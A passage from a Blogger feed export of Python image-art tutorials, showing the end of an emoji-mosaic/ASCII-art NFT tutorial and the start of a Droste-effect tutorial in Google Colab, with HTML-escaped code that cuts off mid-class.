&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;if&lt;/span&gt; __name__ &lt;span style=&quot;color: #555555&quot;&gt;==&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;__main__&amp;#39;&lt;/span&gt;:
    main()
&lt;span style=&quot;color: #336666&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Your File name is &amp;quot;&lt;/span&gt;,out_put, &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;[Save / Download]&amp;quot;&lt;/span&gt;)
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;IPython.display&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; Image
Image(out_put)
&lt;/pre&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgnQ58Y19SqOXZOtF2NKIGTKQmIT1kPKRm5FYQw85tuBlvfe6MJ2d1bVBOLJqaYUua1VHpZtoGw0639cyimDhK8If0CaL1tneWJyEZ9MVFJIpOzwjI526IbTUxY2wHvBrmoxNcqBUGceoMM5UGQPAiyYQmABwqq3AzvEPPV6XDHJfTGaA_74NFVQnNO&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Ascii Art for NFT with Python&quot; border=&quot;0&quot; data-original-height=&quot;760&quot; data-original-width=&quot;520&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEgnQ58Y19SqOXZOtF2NKIGTKQmIT1kPKRm5FYQw85tuBlvfe6MJ2d1bVBOLJqaYUua1VHpZtoGw0639cyimDhK8If0CaL1tneWJyEZ9MVFJIpOzwjI526IbTUxY2wHvBrmoxNcqBUGceoMM5UGQPAiyYQmABwqq3AzvEPPV6XDHJfTGaA_74NFVQnNO&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br&gt;

&lt;h2&gt;Convert Image to Emoji Mosaic Art&lt;/h2&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#imports &lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;numpy&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;np&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;plt&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;matplotlib.image&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;mim&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;matplotlib.pyplot&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;as&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;plt&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;scipy&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; spatial
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;matplotlib&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; cm
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;from&lt;/span&gt; &lt;span style=&quot;color: #00CCFF; font-weight: bold&quot;&gt;PIL&lt;/span&gt; &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;import&lt;/span&gt; Image

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Image File&lt;/span&gt;
img_file &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Mona.jpg&amp;quot;&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#emoji directory###################################################&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Note:- Using Emoji_16.npy (Variation 1)&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;## Uncomment this two lines or...&lt;/span&gt;
emoji_array &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;load(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;/content/emoji-mosaic-mpl/emojis_16.npy&amp;quot;&lt;/span&gt;)
size &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #FF6600&quot;&gt;100&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Note:- Using Emoji_matches.npy (Variation 2)&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;## Uncomment this two lines!!!&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#emoji_array = np.load(&amp;quot;/content/emoji-mosaic-mpl/emoji_matches.npy&amp;quot;)&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#size = 100&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# Change size according to your convinence 16, 100, 200, 500... etc etc&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;###################################################################&lt;/span&gt;

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#get mean of each emoji&lt;/span&gt;
emoji_mean_array &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;array([ar&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;mean(axis&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;(&lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;,&lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;)) &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; ar &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; emoji_array]) 

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#store them in a tree  to search faster &lt;/span&gt;
tree &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; spatial&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;KDTree(emoji_mean_array)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#--&amp;gt; open  &lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#--&amp;gt; resize, smaller  &lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#--&amp;gt; convert to an array&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#--&amp;gt; reshape to a 3d array &lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#--&amp;gt; normalize the pixel values&lt;/span&gt;
G_sm &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;array(Image&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;open(img_file)&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;resize([size,size])&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;getdata())&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;reshape([size,size,&lt;span style=&quot;color: #FF6600&quot;&gt;3&lt;/span&gt;])&lt;span style=&quot;color: #555555&quot;&gt;/&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;256&lt;/span&gt;

plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;figure()
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;imshow(G_sm)
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;title(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Original Image&amp;#39;&lt;/span&gt;)

indices &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; []

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#flatten the array&lt;/span&gt;
flattened_img &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; G_sm&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;reshape(&lt;span style=&quot;color: #555555&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;, G_sm&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;shape[&lt;span style=&quot;color: #555555&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;]) 

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#match the pixels with the  closest resembling emoji&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#tree.query() finds the nearest neighbour index&lt;/span&gt;
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; pixel &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; flattened_img:
    pixel_ &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;concatenate((pixel, [&lt;span style=&quot;color: #FF6600&quot;&gt;1&lt;/span&gt;]))
    _, index&lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt;tree&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;query(pixel_)
    indices&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;append(index)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#from index get the corresponding emoji (flattened)&lt;/span&gt;
emoji_matches &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; emoji_array[indices] 

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#reshape it to form the image. each emoji has the shape (16, 16, 4)&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#note: 4 --&amp;gt; R, G, B, alpha&lt;/span&gt;
dim &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; G_sm&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;shape[&lt;span style=&quot;color: #FF6600&quot;&gt;0&lt;/span&gt;] 
resized_ar &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; emoji_matches&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;reshape((dim, dim, &lt;span style=&quot;color: #FF6600&quot;&gt;16&lt;/span&gt;, &lt;span style=&quot;color: #FF6600&quot;&gt;16&lt;/span&gt;, &lt;span style=&quot;color: #FF6600&quot;&gt;4&lt;/span&gt; ))

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#converts individual emoji patches (5 dimensional)&lt;/span&gt;
&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#into a complete image (3 dimensional) using numpy blocks&lt;/span&gt;
final_img &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; np&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;block([[[x] &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; x &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; row] &lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;for&lt;/span&gt; row &lt;span style=&quot;color: #000000; font-weight: bold&quot;&gt;in&lt;/span&gt; resized_ar]) 

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;#Plot Image with Data&lt;/span&gt;
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;figure()
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;imshow(final_img)
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;title(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;Emoji mosaic&amp;#39;&lt;/span&gt;)
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;savefig(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;plot_emojied.png&amp;#39;&lt;/span&gt;)

&lt;span style=&quot;color: #0099FF; font-style: italic&quot;&gt;# NFT Image&lt;/span&gt;
nft &lt;span style=&quot;color: #555555&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #CC3300&quot;&gt;&amp;#39;NFT_1.png&amp;#39;&lt;/span&gt;
plt&lt;span style=&quot;color: #555555&quot;&gt;.&lt;/span&gt;imsave(nft,final_img)
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Your NFT is Saved &amp;amp; Ready to Use&amp;quot;&lt;/span&gt;)
&lt;span style=&quot;color: #006699; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #CC3300&quot;&gt;&amp;quot;Your NFT File Name is : &amp;quot;&lt;/span&gt;, nft)
&lt;div style=&quot;background: #ffffff; overflow:auto;width:auto;border-width:.1em .1em .1em .8em;padding:.2em .6em;&quot;&gt;&lt;pre style=&quot;margin: 0; line-height: 125%&quot;&gt;
&gt;&gt; Your NFT is Saved &amp; Ready to Use
&gt;&gt; Your NFT File Name is :  NFT_1.png
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhvQxf5ni7FKKowyUOZvnbtnL6QOpKUXzwps3lJ2j6OD476DSuRruu7TvliKn1ZEmfvWglj28G9ook1TrQzGov4glXl3x75pbRdTJNwyta8-U2g75lOb9XWQ8DYr3RcIW7BIiS5IRxgM_XulvJwEv6YxVi8SDWydReMvo0N1CHlrQQBwZF-pwpFK_B3=s264&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; height=&quot;200&quot; data-original-height=&quot;264&quot; data-original-width=&quot;251&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEhvQxf5ni7FKKowyUOZvnbtnL6QOpKUXzwps3lJ2j6OD476DSuRruu7TvliKn1ZEmfvWglj28G9ook1TrQzGov4glXl3x75pbRdTJNwyta8-U2g75lOb9XWQ8DYr3RcIW7BIiS5IRxgM_XulvJwEv6YxVi8SDWydReMvo0N1CHlrQQBwZF-pwpFK_B3=s200&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj8hFedv4eIzA6AGRd-h_9QnjujMgjlF1WmZ47b23K7FW12r8N3Bq2UHZi-LhnqPHTBYCgZLpF1o5azFw6-oqDOAcIkDMFAnlbcIjfE9hkYfNxHTp8A9Qg9WHoB2Uv8Zr-kbh5pPli4CUji6nLc8Bm6VuCaYrrE-lrcS_dMH2FCCMK4VV01pmE4MkJx=s264&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;&quot; border=&quot;0&quot; width=&quot;200&quot; data-original-height=&quot;264&quot; data-original-width=&quot;264&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEj8hFedv4eIzA6AGRd-h_9QnjujMgjlF1WmZ47b23K7FW12r8N3Bq2UHZi-LhnqPHTBYCgZLpF1o5azFw6-oqDOAcIkDMFAnlbcIjfE9hkYfNxHTp8A9Qg9WHoB2Uv8Zr-kbh5pPli4CUji6nLc8Bm6VuCaYrrE-lrcS_dMH2FCCMK4VV01pmE4MkJx=s200&quot;/&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/pre&gt;
&lt;p&gt;*This will give you the output as Preview of Original Image and Plotted Image + Create Ready to use NFT as NFT_1.png which you noticed at the beginning of this tutorial.&lt;/p&gt;
&lt;br&gt;

&lt;p&gt;And Finally You can download your Image and use it on Opensea or You can twick this code or just experiment with it. You can change the ascii script and try with this variation &lt;code&gt;asci=&quot;░▒▓█▄▀■&quot;&lt;/code&gt;.&lt;/p&gt;&lt;br&gt;

&lt;div class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;br /&gt;&lt;b&gt;:::Dev Info:::&lt;/b&gt;&lt;br /&gt;
&lt;p&gt;&lt;b&gt;My Name:-&lt;/b&gt; Joel D&#39;costa&lt;br /&gt;
  &lt;b&gt;Git:-&lt;/b&gt; &lt;a href=&quot;https://github.com/joeldcosta/emoji-mosaic-mpl&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Emoji Mosaic MPL&lt;/a&gt;&lt;br /&gt;
  &lt;b&gt;Google Colab:-&lt;/b&gt; &lt;input type=&quot;image&quot; onclick=&quot;window.open(&#39;https://colab.research.google.com/github/joeldcosta/emoji-mosaic-mpl/blob/main/EmojiMosaic_%2B_AsciiArt.ipynb&#39;,&#39;_blank&#39;)&quot; src=&quot;https://colab.research.google.com/assets/colab-badge.svg&quot; /&gt;
  &lt;/p&gt;&lt;br /&gt;
&lt;/div&gt; 





</content><link rel='replies' type='application/atom+xml' href='https://pysnakeblog.blogspot.com/feeds/6046901667561897365/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/emoji-mosaic-ascii-art-for-nft-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/6046901667561897365'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/8568547122643448686/posts/default/6046901667561897365'/><link rel='alternate' type='text/html' href='https://pysnakeblog.blogspot.com/2022/03/emoji-mosaic-ascii-art-for-nft-with.html' title='Emoji Mosaic &amp; Ascii Art for NFT with Python | Google Colab Project'/><author><name>Joel Dcosta</name><uri>http://www.blogger.com/profile/12207789043143575856</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/a/AVvXsEgnQ58Y19SqOXZOtF2NKIGTKQmIT1kPKRm5FYQw85tuBlvfe6MJ2d1bVBOLJqaYUua1VHpZtoGw0639cyimDhK8If0CaL1tneWJyEZ9MVFJIpOzwjI526IbTUxY2wHvBrmoxNcqBUGceoMM5UGQPAiyYQmABwqq3AzvEPPV6XDHJfTGaA_74NFVQnNO=s72-c" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8568547122643448686.post-2738955064583291402</id><published>2022-03-06T03:34:00.029-08:00</published><updated>2022-03-06T04:56:41.677-08:00</updated><title type='text'>Create Droste Effect Using Python for NFT</title><content type='html'>&lt;p&gt;
Incease you wonder what is Droste Effect. This is what a Droste Effect looks like.
&lt;/p&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh6ZH_8Mvm3X6Edkpb-bfZweNMd9bgP4Syh2fUGhSOj2YQgVHb2WApb_yiiPHVDnXZDR5CZz-id8qvysFnqiGZk5_0FPq77NMs9Oyfap1IAF9tZaAVngDj0f4FKzfWronuUGJB48GI7LSuvBnQmH4Oi2xsGEIfUzX4dyQQZZYnsGHjDcctRzE11wh4E&quot; style=&quot;display: block; padding: 1em 0; text-align: center; &quot;&gt;&lt;img alt=&quot;Droste Effect Using Python for NFT&quot; border=&quot;0&quot; data-original-height=&quot;640&quot; data-original-width=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/a/AVvXsEh6ZH_8Mvm3X6Edkpb-bfZweNMd9bgP4Syh2fUGhSOj2YQgVHb2WApb_yiiPHVDnXZDR5CZz-id8qvysFnqiGZk5_0FPq77NMs9Oyfap1IAF9tZaAVngDj0f4FKzfWronuUGJB48GI7LSuvBnQmH4Oi2xsGEIfUzX4dyQQZZYnsGHjDcctRzE11wh4E&quot;/&gt;&lt;/a&gt;&lt;/div&gt;

&lt;p&gt;
History:- Droste Effect was one of the options in &lt;strong&gt;Pixel bender&lt;/strong&gt; which was an addon of Photoshop CS5 which was fun to use, but later it was discontinued for unknown reasons in later Photoshop versions. So I thought there could be a posibility if the same could be achieved using Python. Polishing the code is still in progress but the end result is quite good enough for now. 
&lt;/p&gt;&lt;br&gt;

&lt;p&gt;
Let me show you how I made Droste Effect using python with the help of Google Colab. You can use it for creating NFTs. Or try it out from my github repositories. (Link Below) 
&lt;/p&gt;&lt;br&gt;

&lt;p&gt;
I will explain the code here.&lt;br&gt;This Code will remove the &lt;strong&gt;sample_data&lt;/strong&gt; folder, we do not need it. By default when ever you create a new google colab it will automatically generate one for you to use and testing out excel data with python and other programs.
&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@title Remove sample_data&lt;/span&gt;
&lt;span style=&quot;color: #a61717; background-color: #e3d2d2&quot;&gt;!&lt;/span&gt;rm -rf sample_data&lt;/pre&gt;
&lt;br&gt;

&lt;p&gt;Add input of your desired Image URL and the Code will download it for you and rename it as test.jpg automatially. JPG or PNG won&#39;t make a difference it still works the same.&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@markdown Download image from web&lt;/span&gt;
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; os
Download_Image = &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;https://m.media-amazon.com/images/I/812L5zyAmpL._AC_SX522_.jpg&amp;quot;&lt;/span&gt; &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@param {type:&amp;quot;string&amp;quot;}&lt;/span&gt;
os.popen(f&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;&amp;quot;&amp;quot;wget {Download_Image} -O &amp;#39;test.jpg&amp;#39;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;).read()
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;print&lt;/span&gt;(&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;quot;Downloaded as test.jpg!!!&amp;quot;&lt;/span&gt;)
&lt;/pre&gt;&lt;br&gt;

&lt;p&gt;And this is the Main Code which makes the magic happen&lt;/p&gt;
&lt;pre class=&quot;alert alert-warning&quot; id=&quot;more-python-resources&quot;&gt;
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#@title ***Droste Effect Input***&lt;/span&gt;
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; numpy &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;as&lt;/span&gt; np
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; cv2
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; random
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#import sys&lt;/span&gt;
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; os.path
&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;from&lt;/span&gt; IPython.display &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;import&lt;/span&gt; Image
&lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# Math explained here: http://www.josleys.com/article_show.php?id=82&lt;/span&gt;

&lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;class&lt;/span&gt; Droste:
    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; __init__(self, fPath, repeatsX, repeatsY, r1, r2, xRange, yRange, resultFolderAddress):
        self.repeatsX = repeatsX
        self.repeatsY = repeatsY
        self.r1 = min(r1, r2)
        self.r2 = max(r1, r2)
        self.inputImg = cv2.imread(fPath, cv2.IMREAD_UNCHANGED) &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#returns a matrix-like object&lt;/span&gt;
        self.xRange = xRange
        self.yRange = yRange
        self.resultFolderAddress = resultFolderAddress

    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; Transform(self, method):
        &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# Builds  new plane&lt;/span&gt;
        img, r, c, Z = self.CreateComplexPlane()
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;if&lt;/span&gt; method == &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;:
            &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# 1: Ln -&amp;gt; Tile   -&amp;gt; Rotate -&amp;gt; exponent&lt;/span&gt;
            self.Calculate1(Z, r, c)  &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# takes in the complex plane, outputs the transformed plane&lt;/span&gt;
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;else&lt;/span&gt;:
            &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# 0: Ln -&amp;gt; Rotate -&amp;gt; Tile   -&amp;gt; exponent&lt;/span&gt;
            self.Calculate(Z, r, c)  &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# takes in the complex plane, outputs the transformed plane&lt;/span&gt;


    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; CreateComplexPlane(self):
        &lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :param self: loads the input image&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        :return: the image as matrix, nbr of rows, nbr of cols, complex plane&lt;/span&gt;
&lt;span style=&quot;color: #0000FF&quot;&gt;        &amp;#39;&amp;#39;&amp;#39;&lt;/span&gt;
        img = self.inputImg
        r = img.shape[&lt;span style=&quot;color: #0000FF&quot;&gt;0&lt;/span&gt;] &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#nbr of rows&lt;/span&gt;
        c = img.shape[&lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;] &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#nbr of cols&lt;/span&gt;
        x = np.linspace(-self.xRange, self.xRange, num=r, endpoint=True, dtype=np.float32) &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#Returns an array of evenly spaced numbers over a specified interval.&lt;/span&gt;
        y = np.linspace(-self.yRange, self.yRange, num=c, endpoint=True, dtype=np.float32)
        X, Y = np.meshgrid(x, y, indexing=&lt;span style=&quot;color: #0000FF&quot;&gt;&amp;#39;ij&amp;#39;&lt;/span&gt;) &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;#creates rect grid off arrays, here it uses Matrix indexing. Returns X, Y coordinates&lt;/span&gt;
        Z = X + (&lt;span style=&quot;color: #0000FF&quot;&gt;1j&lt;/span&gt; * Y); &lt;span style=&quot;color: #008800; font-style: italic&quot;&gt;# Transf to the Complex Plane (then we will transform back to Cartesian) 1J is the imaginary part.&lt;/span&gt;
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;return&lt;/span&gt; img, r, c, Z



    &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;def&lt;/span&gt; TILE(self, W, r, c, repeatX, repeatY):
        X = W.real
        Y = W.imag

        xOffset = np.log(self.r2 / self.r1)
        repeatYHalf = int((repeatY - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)/&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)
        repeatXHalf = int((repeatX - &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;)/&lt;span style=&quot;color: #0000FF&quot;&gt;2&lt;/span&gt;)
        &lt;span style=&quot;color: #000080; font-weight: bold&quot;&gt;for&lt;/span&gt; i &lt;span style=&quot;font-weight: bold&quot;&gt;in&lt;/span&gt; range(-repeatYHalf, repeatYHalf + &lt;span style=&quot;color: #0000FF&quot;&gt;1&lt;/span&gt;):
            W2 = None
